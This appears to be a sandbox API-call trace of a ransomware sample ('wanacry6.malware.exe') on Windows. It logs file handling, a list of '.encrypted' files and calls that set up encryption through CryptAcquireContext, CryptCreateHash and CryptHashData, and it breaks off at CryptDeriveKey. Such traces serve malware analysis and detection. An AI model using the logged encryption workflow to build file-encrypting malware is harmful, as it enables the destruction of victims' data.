0 [0023.611] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.611] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.611] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.611] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.611] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.611] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.611] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.611] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.611] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2114) returned 1 [0023.611] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.611] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.611] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.611] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x842, lpOverlapped=0x0) returned 1 [0023.611] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.611] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x842, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.612] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2114) returned 1 [0023.612] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.encrypted.mp3\r\n", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0023.612] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.encrypted.mp3\r\n", cchWideChar=50, lpMultiByteStr=0xe8f404c150, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\Ur9w.encrypted.mp3\r\n", lpUsedDefaultChar=0x0) returned 50 [0023.612] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40521c0*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40521c0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x31, lpOverlapped=0x0) returned 1 [0023.612] CloseHandle (hObject=0x188) returned 1 [0023.613] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.613] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.613] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.613] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.613] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.613] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.613] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.614] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.615] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178880, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0023.615] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0023.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178a40, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0023.615] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0023.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0023.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", cchWideChar=50, lpMultiByteStr=0xe8f404c350, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpUsedDefaultChar=0x0) returned 50 [0023.615] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0023.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=50, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 50 [0023.616] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=50, lpWideCharStr=0xe8f4062aa0, cchWideChar=50 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe") returned 50 [0023.616] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.617] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.617] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.617] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yes", cchCount1=3, lpString2="no", cchCount2=2) returned 3 [0023.617] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.617] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.617] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.617] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.617] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.617] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.618] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.618] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.618] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.618] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.618] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.618] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.618] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.618] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.619] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.619] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.619] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.619] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.619] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.619] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.619] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.619] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.619] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.619] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.619] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.619] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.619] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.619] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.619] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0023.619] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.619] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.619] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.619] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.619] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.619] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.619] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.620] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.620] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.620] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.620] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.620] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.620] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.622] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.622] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.623] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.623] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.623] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.623] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.623] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.623] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.623] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.623] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.623] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.623] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.623] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.624] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.624] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.624] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418bb70, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.624] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.624] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.624] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.624] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.624] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.624] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.624] CryptDeriveKey 